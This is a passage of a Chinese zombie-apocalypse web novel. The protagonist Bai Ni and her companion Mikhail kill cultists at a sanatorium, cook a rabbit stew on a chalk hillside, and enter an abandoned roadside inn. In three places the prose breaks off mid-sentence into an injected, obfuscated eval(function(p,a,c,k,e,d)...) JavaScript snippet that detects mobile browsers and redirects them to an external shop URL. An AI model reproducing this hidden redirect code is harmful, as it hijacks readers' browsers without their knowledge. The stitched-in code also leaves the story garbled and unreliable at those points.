餐厅安静了。米哈伊尔脚边堆了一圈倒下的人,一点呻吟也没有。白睨走过去,才发现他的脸上也沾着不少血迹,可能是被血糊了眼睛,他擦了又擦。 “呃,”米哈伊尔抱怨道,“那个创世神有什么魔力?居然让他们这么不怕死。” 白睨耸耸肩,“不知道,你要信一个试试看吗?” “算了吧,我还是挺惜命的。” 话音未落,白睨忽然注意到余光里站起一个人。 安靠着门洞,颤颤巍巍地从衣服口袋里拿出一个白瓶,拧开盖子。 白睨挑眉,“这是什么?” “硫、硫酸!”女孩看起来十分紧张,却依然紧紧攥着那个瓶子,骨节发白,“你们、你们再往前一步,我就把这东西泼过去!” ……为什么疗养院的医务室会有硫酸啊?真不是在末日前就在进行某种不正当研究吗? 虽然这巴掌大的瓶子看起来没什么威胁,白睨和米哈伊尔并没有冒然上前,万一有一滴溅在脸上就得不偿失了。白睨看米哈伊尔面无表情地盯着安,就知道他又在考虑用枪。 她面向女孩,无奈道:“你要做什么?” “我、我要你们下去,去完成仪式——”安握着硫酸瓶的手颤抖个不停,白睨怀疑过一会儿她可能会泼在自己手上。 “你既然是医务人员,总该有点科学常识吧?你真相信他们说的什么创世神和神使?” “什么科学常识!”安的声音突然变尖锐,呼吸急促得似乎要喘不上气,“你告诉我现在什么符合科学常识?人死了还能站起来?尸/体需要吃肉?这些、这些哪一样是科学可以解释的?” 她眼角泛红,逐渐从恐慌转为歇斯底里,“我宁愿相信有个神!创世神对人类太失望,所以放弃了我们……只要,只要有一个全人,带我们去到祂身边,我就不用死了……我害怕啊,我天天害怕明天就会死掉!我是没办法成为全人的,我只是不想死掉啊!” 她在白睨眼前崩溃,第一次见到她时就浑身发抖,现在依然如此。 可怎样和她解释,那些理论毫无根据呢? “你可以下去看看,”白睨只是道,“默克尔特院长,已经腐烂了。” 空气凝固。 “你骗人!!”安哭嚎起来,手握硫酸瓶朝他们倾斜,几滴酸液溅在瓷砖地上,冒出淡黄的烟,“你在骗我!你别想阻止我,快点到地下去,我真的会泼的!!” 她的手剧烈抖动,白睨和米哈伊尔一脚略微后撤,只要对方行动,他们就会立刻跑开。 “我真——”见他们似乎要逃,安猛地尖叫一声,像被踩到尾巴的野兽,整只手臂往后蓄力! “咔嚓!” 伴随着颅骨碎裂声,女孩脖子一歪,身子软软倒下,后脑插着一把锄头。硫酸瓶掉在地上,咕噜噜转了一圈,在瓷砖上画出一个滋滋作响的空心圆。 头发花白的老人弱弱地摩擦双手,嘴巴要张不张,喉结因紧张滚动,“我看、看你们一直没出来,就想着进来看看……天啊。”看清餐厅景象后,他闭上了嘴巴。 “我们去到地下室,发现了默克尔特,接着其他人就来了……”白睨捡起地上的手电筒,一时间不知如何解释,“呃,说来话长,我们先出去吧。” 威廉哆哆嗦嗦地跨过一具尸/体,“你们见到默克尔特院长了?” “嗯。”她调整好背包带子,“你要和我们一起离开吗?我们准备找一个安全的地方落脚。” “不了,出去也是折腾,”老人摇头,叹了一口气,“我就留在这里吧。” 白睨与米哈伊尔对视一眼,还是劝了句,“威廉,默克尔特已经变成丧尸了,他们说的神谕、全人、使命……那些都是假的。” 老人摆了摆手,“我知道,我从没相信那个人可以成为什么神的使者。” 见状,他们不好多说什么,准备拿上东西离开。刚迈出一步,她忽然想起什么,回头问道:“那地下室里的东西……要不要我们处理掉再走?” 威廉愣了愣,随即拍了拍自己的胸口,发出沉闷的一声响,“放心吧,我每天干农活,身子骨还硬朗着呢,那点事我能处理。” 听罢白睨点点头,老人张开双臂,上前与他们告别。 坚定而短暂一拥,白睨转向门洞,“那我们走了,您多保重……” “噗通。” 米哈伊尔倒了下去。 威廉丢掉针管,不紧不慢地从男人的口袋里翻出手枪,抬起枪口。 对准白睨。 “接受神的考验的人应该是你。”他的眼中没有一丝心虚和犹豫,只有近乎麻木的平静,“他们——太局限,也太愚昧了。默克尔特院长变成了不死者,说明他没有资格成为神的使者,真正有资格的人是主任记录下会来到这里的新人。” [黑色短发黄皮肤女;男] “虽然不知道为什么对他的描述这么少吧。”威廉瞥了一眼被麻醉的米哈伊尔,“但能确定的是,神启说的是你们两人,尤其是你。” 任何人被枪指着都会产生生理性恐惧,白睨咽了咽口水,“你不是说你不相信的吗?” “我不相信默克尔特是全人,这里没有人是。”他指着白睨慢慢靠近,一步步把她逼退,“他们以为我没注意到,他们开会的时候从不叫我,分配工作只让我干农活,我天天翻土、锄草、提水、灌溉、看守,做的最多,还睡在外面。我保证所有人都能吃上饭,但在他们眼里我只是个不起眼的老东西。” “你可以和我们一起走。”白睨一边说一边偷偷乱瞟,希望能在手边找到趁手的武器,可什么武器能比得过手枪? “在这里去哪儿都无所谓,我只要去往神的维度。”威廉突然朝电子显示屏开了一枪,“啪!”红色数字跳动,然后彻底消失,碎裂的板壳噼里啪啦落在地上。与此同时,瓷砖地震动起来,地下室的通道再次打开。 “你先去地下室,不用想着他会中途醒来。”威廉指的自然是米哈伊尔,“我从医务室拿了强效麻醉剂,连牛都能放倒,他一时半会儿是醒不来的。” 白睨倒吸一口气。 连牛都能放倒?那能说“一时半会儿不会醒来”吗?!他倒在地上不是睡了是死了吧! 还想说什么,但眼见威廉朝她逼近一步,白睨只能把话咽回肚子里,一步步踏进地下深处。 密室里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857116|189694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蜡烛还点着,不是很黑。烛光一晃一晃,在墙上拉出一道扭曲的佝偻身影。 笼子砰砰作响,丧尸化的默克尔特一看到人类,便开始大力冲撞铁栏。威廉粗略扫了一眼,似乎并不在意它的情况,“第一天见到他,我就知道他和我以前遇到的是一类人,只是装得更好罢了。其他人都觉得他是个完人,很可笑不是吗?他被不死者同化完全在我意料之中。” 白睨忍着强烈的恶臭站在笼子前,丧尸的眼睛贪婪地注视着,竭力把手伸出笼子想抓住新鲜的肉/体,她的大脑拼命思考对策,“去往神的身边又能如何?你也是为了永生?” 威廉扣紧扳机,向她挪动两步。昏暗的烛光下,他的眼睛格外明亮,完全不似平日的懦弱,仿佛一簇跳动的火苗,“还拥有青春的年轻人是不会懂的。” “我从十八岁就在加工厂工作,下班了就去农货店兼职。我拼命工作,为了买房,为了以后住退休社区而不是廉价养老院!我靠不了任何人,但和其他人不一样,我知道我的目标是什么。我就这样夜以继日地工作,买了房子,终于到了退休年纪,可你知道上帝给我开了什么玩笑吗?半年后我就查出得了结直肠癌!因为该死的流水线和加工肉!” “NHS告诉我要等好几个月,我只能去找天价的私人医生,state pension完全不够医疗支出,我又得卖掉我的房子,他们说我的房子位置太偏僻,开价给我砍掉将近一半!我住回廉价短租,又申请了council housing,就为了能省下更多钱给自己养老或买棺材。” “今年,一直到今年,医生终于宣布我治愈了!只需要定期回访。那时候我已经住进council housing,pension只有那么点,储蓄也不剩多少,但不算太差,起码我疾病治愈了,是吧?我付出这么大代价,不就是为了治病吗?” 老人满头白发,烈烈火光勾勒出他脸上每一道沟壑,阴影在褶皱间起伏。 “五月底,世界末日了。” 白睨与他对视着,那簇火苗猝然熄灭。 “我这辈子还没享受过哪怕一天。”威廉长长深吸一口气,声音几乎嘶哑,他咳嗽几声,继续道,“我不能接受,我只有一次人生,怎么可以像个笑话?” 白睨忽然想起那句话:每个人都有适合自己的圈套。 有人遇到欺诈,有人被命运欺诈,走到尽头才发现自己被彻底耗尽。 如果这个世界真的有神,那一定是最恶劣的神。已经辜负了那么多想好好生活的人,为何还要辜负努力想活下去的人? “把你的手递给它,请——完成最终的仪式吧。”挪动发酸的腿脚,威廉握紧手枪,语气中带着一丝恳求,“带我,这个可怜的老人,带我们这些可怜人去往另一境界。” 没有说话,白睨垂手转向笼子。笼里的丧尸一直在嘶吼,可刚才那一阵她完全没听见。 如果真的能带所有人飞升就好了。 可她不是神,不是神使,甚至不是全人。 白睨闭上眼睛,久久沉默,半晌后睁开,侧身看向威廉。 她的眼皮突然一掀,惊讶地望向阶梯,“米哈伊尔?” 老人双目睁大,立马转身后看—— 刹那间,一只手稳稳握住腰间的刀把,猛地转臂甩开,银光如寒星划过! “噗嗤!” 威廉瞳孔里充满不可置信,锋利的刀刃深深嵌入前额,鲜红的血线将五官一分为二,浸染雪白的胡须。他直挺挺往后仰去,噗通的倒地声比她预想的轻。 白睨上前捡走手枪,查看他的眼睛,瞳孔逐渐扩散。在最后一息消散前,他的喉结动了动,但终究没出声。 她伸手覆在他双眼上,轻轻合上了。 上楼拿了一根铁锹,她折回楼下。绕过老人逐渐冰冷的身体,重新回到铁笼前,白睨与默克尔特腐黑的眼球对视。 弓步作势,举起铁锹。 已经腐烂的生物,还是彻底长眠为好。 · · 手机屏幕微亮。 [PhantoChat:【支线·塔菈萨】已归档,现释放一角色剧情记录空位。] [PhantoChat:更新完毕,已解锁图片上传功能。] 27.白垩草坡(一) 背上驮着米哈伊尔,白睨挪动脚步,全身每一块肌肉都在发力,终于把他拖进了后厨,顺带锁门。 卸货的时候重心迅速下滑,她挣扎着想把米哈伊尔抓稳,却连带自己摔倒,“噗通!”好在米哈伊尔皮糙肉厚,滑到地上给她作了肉盾。 她已经没有力气起来了。 盯着昏黑的天花板,小黑点在边缘翻涌。 很累。她从来没感觉这么累过,仿佛身体与精神都被抽干。 可疗养院里应该还有几个幸存者吧?白天若是被发现了该怎么办? 被发现就死了吧,可人在睡梦里是不知道死亡的,似乎没有关系…… 这一串想法石沉大海,小小的思绪泡沫冒出又破裂。身体缓缓往下坠。 · “……白睨……” “……白睨!” 身子猛地一抖,她把头从臂弯里艰难地撑起来,视线模模糊糊的,几团白光在眼前收缩。 抹着眼角,她听见旁边书包拉链的声音,同学收起电脑,打趣到:“人都要走光了还在睡,昨天熬夜了?打游戏去了?” 打游戏?……啊,最近自己是在沉迷一款文字游戏。 白睨含糊地应了一声,顺着头皮抓到颈边的发尾,终于让自己清醒了些,“太困了哈啊~后面自动关机了。今天有作业吗?” “没有,就下周要交的assignment,你写完了没?” 她停下收拾东西的动作,偏头回忆,“嗯……还差四分之一吧。” “你都写这么多了?你熬夜是在赶作业吗这么勤奋?”同学背上包,转向窗外。天是渐变的墨蓝,乍一眼,以为半空挂了个大月亮,其实是学校钟楼的表盘亮起来了。 “冬令时天黑得好快啊,真想直接飞回家里,一想到走回去还要做饭就好烦~” 听她一说,白睨回想起冰箱里的食材,肉不多,蔬菜没有,看到今天必须得去超市采购一番了。 走在路上,脚边飘过一只塑料袋,顺着反方向望去,垃圾桶里的垃圾已经满出来了。罢工的环卫工人明天会工作吗?她的注意力很快被前方排长龙的人群吸引,巷子口的保安正在检查证件。她想起明天是周末,年轻人今晚就会成群结伴去酒吧玩;头顶的彩灯带眨着各色的眼睛,为巷子里的热闹打广告。 白睨没有停下脚步,一路经过披萨店、中餐馆、奶茶店、炸鸡店、咖啡吧,客人络绎不绝。要不打包一份回去算了?自己做饭不好控制量,剩的总是存在冰箱当预制菜。 虽然这么想,超市就在眼前,她的脚步越来越快,希望快点离开室外寒冷的风。超市玻璃窗亮堂堂的,灯光暖暖地晕染开,光晕里有摆满零食的货架和熙熙攘攘的人群。 她加快步伐,往灯光走去。 一阵风刮过来。 打了个哆嗦,白睨醒了。 窗外明媚的阳光太晃眼,身体不自觉扭向一边,眯了好一会儿,眼皮才舍得慢慢睁开。 她还在那辆床车兼房车里,躺在记忆棉床垫上。目光不自觉投向前座寻找身影,却发现驾驶座和副驾驶座都空着。她扭头往后望去,看到男人就靠坐在床垫的边边角,手里捏着一小片金属,看样子要磨成箭头。 “醒了?” 白睨揉揉眼角,嗯了一声,“开累了?” 从疗养院回来后她常感到疲惫,怎么也睡不够,可能是夏倦。她休息的时间变长,米哈伊尔开车的时间自然久了。她不太好意思,可常常耐不住困意。 PhantoChat更新了图片上传功能,之前她研究了好一会儿都不知道怎么使用。后来发现,点进[NULL]那个头像,底下的文字框是亮起可用的。发文字没有反应,得点击旁边的图片标志,手机会弹出照相机。对一样物品拍照,点击发送,那个东西便凭空消失,同时“NULL”回复一串代码;只要点击代码,物品就会再次出现。 这个功能类似储存器,白睨不知道储存上限是多少,但她确定有上限,因为当她尝试把房车储存进去时,系统提示对象太大无法入库。 又是一个有点用又好像没多大用的功能。系统就不能给她一个实用的外挂比如输入代码就能复制东西吗?那样她一定要把枪支子弹加加加到厌倦。 现在她只能对这无用的系统感到厌倦。 米哈伊尔指向窗外,“没有,就是感觉这边景色挺好的,可以停下来吃个饭。” 闻言,白睨抓住窗沿,撑起身望向外面。 草坡连绵起伏,像易融化的皮草盖在沉积岩上,破口牵丝带缕,灰黄层叠的岩石裸露出来,如搭在一起的棕巧与白巧;夏草细长绵密,风一吹过,灰绿色大片大片荡漾着,肆意而温柔。 “这是哪里?” “托斯克洛德外围的白垩草坡。”米哈伊尔把磨好的金属片放在桌上的盒子里,也看向窗外,“虽然看起来都是草,但应该有野兔之类的,我馋烤肉了。” 白睨趴在窗沿上,感受微风拂过脸颊,刘海轻扫脸侧,微痒。 “换个口味吧,烤肉不是什么时候都能吃吗?”她扭身放脚在地上,抬高声音,“‘买菜’去吧。” 去纯天然有机超市买菜。 米哈伊尔认得的野菜野果更多,负责去低处的林缘采集食材;白睨拿着弓箭去打猎。开始学弓箭和飞刀后,她的眼神好了不少,沿着一侧坡面往前走,目光扫荡,不多时便在倒伏的草堆中发现新翻的泥土和被啃短的草茎,说明此处有动物活动。 往前走了几步,前方一阵细微的窸窸窣窣声引起了她的注意。一点灰棕在草丛里若隐若现,白睨停下脚步,右脚后移,搭箭抬臂,稳稳拉开弓弦,双目视线合为一点,锁定在那一蹦一蹦的影子上。 灰影停下,在草里露出两截长长的耳朵,似乎在观察周围。 就是现在! 白睨松指,箭矢破风而出,“噗嗤”没入草地。 箭羽静静地停在空中。她迫不及待地小步跳过去,用弓拨开草丛,一只野兔倒在地上,身体被长箭贯穿,不再动弹。 白睨兴冲冲地拎起兔耳朵,这是她第一次用弓箭打到猎物,等会儿一定要和米哈伊尔炫耀一番! 一脚深一脚浅地回到房车旁的草坡,米哈伊尔还没回来,只有一个装满香草野菜的篮子放在石头上。她把野兔也放在上面,打开车门,从侧边拉出遮阳帐,把桌椅和厨具一一摆好。 卷起袖口,取刀下手,开始处理兔肉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864551|189694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在她身边,广阔的草皮柔柔涌动,灰绿和烟黄的流光深浅不一,随风翻来覆去。 美景,和即将到来的美食,终于让她提起精神。 不消多时,兔肉已经被切成块块条条。白睨搓了搓染红的手,抬头望向米哈伊尔刚才走进的林地,不知他怎么去了这么久。她正想着,就见一高高的身影从另一侧走来,手里提着两个桶,清澈的水一晃一晃。 “嘿,你打到了什么?”走到车旁,米哈伊尔把桶稳稳放下,抬眼一看,“都切好了?” “嗯,我打到一只野兔,见你还没来就先处理了。”白睨正好想到他们做饭还缺水,见米哈伊尔打两桶水来,十分惊喜,“你在哪儿找的水?” “下面有一条小河,离得不算很远。”他从车里拿来一块布,沾湿后搭在她手上,“用吧,不够了我再去提。” 其实一桶水就够用了,另一桶拿来清洗食材和洗碗正好。白睨擦完手,从柜子里拿出一罐白酱、半袋面包片和上次存的羊油。 米哈伊尔的收获也不少,胡萝卜、甘蓝、野葱、百里香,装了满满一篮,够做好几顿了。 简单做烧烤和煮汤太浪费,白睨准备做白汁兔肉。 所有食材简单清洗,野葱切段,胡萝卜切片,百里香切碎,半片面包取芯撕碎。 切好的兔肉简单焯水,盛出沥干;取一点羊油在锅中融化,倒入兔肉,不用翻动得太频繁,只需煎至表面微微金黄,就可以出锅备用了。才第一步,空气里已脂香四溢,米哈伊尔搬来张椅子在旁边切甘蓝,目光却一直望向她的锅里。 白睨笑了,“小心别切到手啊。” 米哈伊尔挑眉,“切到手?那我就该正式退休了。” ……所有人类不已经被迫退休了吗? 这样想着,她将野葱和胡萝卜倒入剩有薄薄一层羊油的锅中,翻炒几下,炒至野葱叶边缘微焦、胡萝卜变软,是时候“大杂烩”了。 将煎过一轮的兔肉倒入锅中,撒入少许百里香,随意翻炒几下融合香味,接着倒入白酱。 白酱只有一瓶,白睨心疼,只放了一半,再往里兑了些水,加入面包芯碎片。面包芯吸饱浓白的汤汁,变得软烂易碎,只用锅铲轻轻一搅就完全融合在汤中,咕嘟嘟声更显温吞。白汤变得浓稠,奶香中带着麦子的酵香。 盖上锅盖,炖煮半小时。 白睨自信地拍拍手,一回头,就见米哈伊尔单手托着脸,眼珠一转不转地盯着锅。 “你在流口水。” “我闭着嘴呢。”米哈伊尔斜她一眼,却还是不自觉擦了擦嘴,“我已经回不去吃糊糊的日子了,现在的我就要吃好饭、好肉、好菜!天,这太香了,我可以把手表拨快半小时吗?” 不管米哈伊尔怎么抓耳挠腮,这半小时还是得实打实等完。 等白睨终于开锅,一溜清水顺着盖子滴落,浓郁的油奶混合香随着白汽扑腾而出。软嫩的兔肉、晶莹的胡萝卜静静躺在乳黄的汤汁中,表面浮着细细的翠色。 把凑得过近的米哈伊尔的脸推到一边,她把白汁兔肉盛进两个碗中,放入面包片,又用剩余的锅底简单煮熟甘蓝段,盛在单独的盘子里。 一荤一素一主食,可以开饭了。 28.白垩草坡(二) 白睨用叉子插起肥瘦相间的肉块,在碗里一蘸,让整块肉裹上浓稠的酱汁,才送入嘴里。 舌尖刚尝到百里香的清苦,奶汁与黄油香已将舌头包裹,酱汁醇厚微咸,是这道菜最主要的风味。 一口咬下去,柔嫩的肉皮释放出一丝温厚的羊膻味。炖过的兔肉柔软弹牙,口感有点像鸡肉,但比鸡肉更紧实。 而面包蘸汤的滋味不必多说。面包片内里松软湿润,轻轻一咬便流出奶汁,香甜可口。 她慢慢嚼着,温热顺着喉咙一路落进胃里,变成实在的热量。 米哈伊尔吃得比较急,但每一块肉都是扎扎实实咀嚼过的。 因为白睨听到了他咔啦咔啦咀嚼软骨的声音。真是好牙口,感觉是到七八十岁也不会掉牙的那种。 很快吃完两碗,米哈伊尔把一大团煮甘蓝拨进碗里,用叉子在碗里搅了几圈,确保剩余的白酱都被滚走,然后一同拨进嘴里。甘蓝段清脆爽利,用来收尾最好。 白睨瞅了半天,咽下嘴里的胡萝卜块,明知故问:“有这么好吃?是饿的还是真好吃?” “真的好吃啊。”米哈伊尔夸得很直接,“你有做过难吃的饭菜吗?” 这下轮到白睨不好意思了,她赶紧往嘴里塞了一口面包,暗骂自己多嘴。 · 饭后照例是米哈伊尔洗碗,白睨乐得清闲,从床底下翻出一本书,爬到草坡高处看了。 今天天气真的不错,阳光暖暖的,身下的草干燥绵软,像新晒的床单。她把书举到面前,挡住把自己晒得困倦的太阳,才翻动几页。 “你在看什么?” 沙沙沙,米哈伊尔踏草而来。他直接在她旁边躺下了,用手撑着下巴看她,水珠从手掌顺着腕骨凹陷处滑下。 怕水打湿书页,白睨没有把书递过去,就把封面展在他面上。米哈伊尔慢慢念着名字:“The Remains of the Day……真文艺的名字,光看着就想睡觉了。” “其实还挺有意思的,是一本小说。” “你看完了?” 白睨把书收回去,随意往前翻了几页,“是啊,以前看过母语版的,后来为了写论文不得不买本E语的来看。但其实论文写完了也没好好看完,今天正好想到,翻出来看了。” “……你是说你那逃命背包之所以沉甸甸的,是因为里面塞了书吗?” 她尴尬一笑,“人也需要精神食粮的嘛,你难道不看书吗?” 米哈伊尔把脑袋挪过来,似乎在看书页上的内容,“很少看。书里写的故事太苦了,看了不得劲。” 白睨刚想说点什么,一想到米哈伊尔看的大概是R国的文学,就把话咽回肚子里去了。那确实是太苦了。 “这本书说的什么?” “这本吗,”她想了想,“讲一个管家把职业当成信仰,以为自己在参与伟大事业,循规蹈矩地效忠了主人一辈子,直到迟暮之年才发现所追寻的都是荒诞,而真正该把握的人早已错过。” “这听起来也很苦涩啊。” “其实我读第一遍的时候并不是这样理解的,我以为作者在表达人生是荒谬的。因为人在作选择时并不知道自己会走向那里,无论选哪条路,回头看时都可能后悔。所以到最后,能做的也只有接受而已。” “这种想法未免有些悲观。” “是我的读后感不是真实想法啦。”把书盖在胸前,白睨看着天上缓缓飘过的云团,“那样想也不算悲观吧,因为结局是不得不接受的,所以在做选择的时候必须更谨慎一点。” “我还是选择原书的理解吧。”米哈伊尔仰面,吹了吹额前的头发。 白睨笑了,“说起来,你确实应该看看这本书。” 米哈伊尔的眼珠一下转过来,“哦?为什么?” “因为这本书描写了很多E国的乡村风景啊,和我们现在的处境不是挺贴切的吗?” “……是因为这个啊。”米哈伊尔嗤笑一声,没了后文。二人没有说话。 白睨有些困意,不是困倦,是吃饱喝足后身体被暖阳充满的松弛困意。她慢慢把眼睛闭上了。橘黄色的眼帘把天空盖住。 “你要在这里午睡吗?”低低的声音从脸边传来。 “嗯,休息一会儿,下午我开车吧。” “行吧。” 一阵窸窸窣窣声后,草坡上只剩下安稳的呼吸。 就在白睨困意上涌时,旁边的人突然来了一句:“觉得草地硬的话,我的手臂可以借你。” 瞬间睁开眼,眉头皱成一团,她难以置信地瞪向他,“什么?” 米哈伊尔却只是很自然地看着她,似乎不觉得自己的话有问题,“就和我们在后厨休息时一样啊。” 下眼皮跳得厉害,但完全不知该说什么,白睨索性翻了个身,背对向他。 这人哪根筋搭错了? · 米哈伊尔揭开固定扣,开始收纳车边帐。 白睨躲另一侧车门,确定趁此机会再测试一下新解锁的图像上传功能。 已经确定的是,PhantoChat可以上传物品的图像,那么活物呢? 听到头顶传来的叽叽喳喳生,是几只麻雀在树枝上蹦来蹦去。白睨立刻拍了一张照,裁剪出其中一只麻雀的样子,点击上传。 [403:权限不足!] 看不懂,但大概就是失败了。 虽然对此已有心理准备,但她仍感到失落。如果收纳对象是普通的小物件,那房车里完全装得下;如果是稍大一点的东西凭空消失或出现,又容易引起米哈伊尔的怀疑。自己费了那么大功夫,却得了个鸡肋的功能,食之无味弃之可惜。 砰砰。米哈伊尔拍了拍车顶,“可以走了。”他的目光落在白睨的手机上,很快移开,“走吧,谁开?” “我吧。”白睨收起手机,心照不宣地没有提这事,坐到驾驶位。 因为午后小睡过,二人都养足了精神,白睨在开车时偶尔能听到书页翻动的声音,从后视镜看过去,米哈伊尔正趴在桌子上看那本小说,原本以为他看一会儿就会合上,没想到真的静静看了半个下午。 夏令时的白天很长,天开始泛黑时已经是晚上。车子沿着主干道前行,道路在暮色中不断延伸,远处的田野与树影被吞进渐深的蓝灰色里。 白睨的注意力被一群野地里惊起的鸟影吸引,等她回过神来,车子已经顺着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870167|189694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那条路笔直开出一段,但按照地图的路线,她应该在刚刚拐弯。 下意识松了油门,正准备掉头,她的余光里出现一道昏黄的光。 这是一幢独栋房子,主体是低矮的两层结构,由浅黄色石块砌成,灰棕色瓦片铺满陡坡屋顶,上面还铺着太阳能板。一楼的窗户被一大片绿藤包围,暖光就是从其中一扇窗户透出来的。 她盯着那道光看了好一会儿,觉得要么是幸存者在里面,要么是屋主出事时没有关灯。这间房子作为避难所来说地段并不好,在主干道旁边太引人注意,附近也没有燃油和物资供给。 方向盘一转,车头缓缓偏向路边,她打算掉头回去拐弯。 就在这时,手机震动了。 在她杀死塔菈萨后,角色列表里多出了一个无名的空白角色栏。此刻,那一格忽然被填上了名字:乔伊。 乔伊又是谁? 简单回想了一下,白睨确定自己对这个名字没印象。那么这个角色更新就只有一个原因——触发关键情节了。 而且这个情节即将发生在这间小黄屋里。 “乔伊”的头像仍是空白,剧情记录里也没有内容。 她叹了口气。既然系统已经“点名”,他们也只能面对了。只是不知道游戏这次给他们生成了什么妖魔鬼怪。 白睨还是把方向盘打死,完成掉头,顺着路边一条不起眼的碎石支路拐了进去,把车停在一棵老橡树后。 米哈伊尔察觉到车子偏离主干道,把头从臂弯里抬起来,神情有些茫然,“怎么了?” “我想进去看看。”她指了指那幢亮着灯光的小黄屋。小屋静静地立在暮色里,完全不知道自己已经被盯上。 · 走近屋子,白睨才看清门上方还挂着一块招牌,只是被满墙蔓延的心形绿叶遮住了大半,末尾的 “Inn” 显示这是一家公路旅馆。 考虑到里面可能有人,米哈伊尔把猎枪提在手里。他们没有贸然进去,而是贴着墙潜到窗下,探头往里窥视。 古朴的雕花木柜台后空无一人。一楼安安静静,没有交谈声,也没有丧尸特有的嘶哑动静。唯一的光源来自火炉上方的一盏壁灯,暖黄的光落在地板上,像是有人匆忙离开时忘了将它关掉。 发现窗户与窗台露出一条缝,她轻轻往上一推,窗户竟然顺滑地开了。白睨与米哈伊尔对视一眼,先后翻进屋内。 室内比没有想象的古旧,是刻意做旧的复古风格。橡木地板被保养得很好,棕色皮革沙发下铺着颇有情调的拼色毛毯,只是如今上面溅着几滴可疑的黑色污迹;墙面刷着温和的奶白色,几幅乡野风景画装在木框里,整齐悬挂,唯有靠近火炉的几幅掉在地上,玻璃渣散落一地。 前厅、酒吧间、通往二楼的楼梯——都没有人影。二楼的几间客房门虚掩着,床铺凌乱,家具倒下,有明显的搏斗痕迹。 他们没有在屋子里发现任何丧尸的身影,不过倒是在后院发现了许多土包。想来应该是幸存者与丧尸搏斗后,将它们都埋葬在后院里。 除此之外就没有任何异常了。没有人,没有丧尸,这里只有一间有些凌乱但功能完备的小旅馆,尚能为经过的旅客提供休憩之处。 29.公路旅馆之夜 白睨从黄铜挂架上取下一条毛巾,一边擦拭头发,一边走出浴室。米哈伊尔正靠坐在电视前面,仔细打量手里的盒子。她拉开直背木椅,举起吹风机,“你在做什么?” “电视下有DVD机。”他拍拍电视柜上的黑色方盒,边角光滑圆润,面板上按键泛黄,不知机子是二手还是刻意做旧的。白睨从柜子旁的编织筐里取出两个碟片盒,盒身已有磨损,但颜色依然鲜艳,看名字都是经典影片。 “你想看电影?” 米哈伊尔点点头,放下手里的碟片盒,拿起另一个,“机会难得啊,以后不一定能在屏幕上看到动的图像了。” 白睨放下吹风机,也在编织筐旁选起碟片,一时忘了湿漉漉的头发,“那你选好看哪部了吗?” 末日发生后,除了基础生存物资,文化造物其实也是稀缺资源。尤其在把几乎所有书籍和电子设备遗弃在公寓楼后,她对人造的故事和影像的渴望与日俱增。 影片种类还挺多的,文艺片、动作片、悬疑片、爱情片、惊悚片、灾难片……虽然她曾是惊悚片和灾难片的爱好者,但现在这两种片子她是真的不想看。 米哈伊尔突然把一盒碟片压在胸前,冲她挑眉,“选好了。” “你选了什么?”她伸出手,却被他躲了过去。 “耐心,等会儿你就知道了。”米哈伊尔一副神秘的样子。 白睨也不和他计较,反而考虑起另一件事。 看电影怎么能不吃点东西呢?虽然时间很晚了,但他们晚饭还没吃,正好做点宵夜。 “看电影的话也不用吃的太正经。”她略一思考,道:“要不吃零食?” 检查旅馆时他们确定这应该是家庭经营的公路旅馆,二楼有一间明显不同于客房的套房,空间更大,隔开起居区和卧室,生活痕迹密集。但床铺上胡乱堆着大人和小孩的衣物,柜子和抽屉大开,厨房里没剩下一点食材,暗示着屋主曾匆忙地收拾行李离开。 但百密一疏,他们忘记了一楼拐角里的贩卖机。 机器里都是一些耐放的零食和饮料,消化饼干、蛋白棒、坚果混合包、软糖……商品价格标签都还亮着。米哈伊尔又拿出他那万能的曲别针,在投币口下方的维护锁里一转,门就打开了。 白睨取走里面的胡椒味小香肠、洋葱味薯片、盐焗腰果、奶酪饼干、巧克力棒和水,来到二楼的家庭厨房,开始做“极速晚餐”。 先将盐焗腰果倒进保鲜袋里,用擀面杖碾成颗粒;接着,她拿出背包里的干粮面包,在两个盘子上各放一片,摆上几粒速食香肠,抹上饼干组合里的奶酪酱,撒上腰果粉末,放进微波炉叮一分钟。 再将薯片装入刚才的保鲜袋中碾成颗粒和粉末,分别倒入两个小碗里,加入一点水,微波炉加热半分钟后取出;往碗里加入剩下的一点奶酪酱,充分搅拌,放进微波炉里再加热二十秒。 余下的就很简单了,巧克力加水融化成巧克力酱,爆米花不拆袋加热。两份简易版的香肠奶酪披萨、两碗奶香洋葱土豆泥,一盘饼干配巧克力蘸酱,一袋盐味爆米花,和两瓶汽水,组成了他们的电影节晚餐。 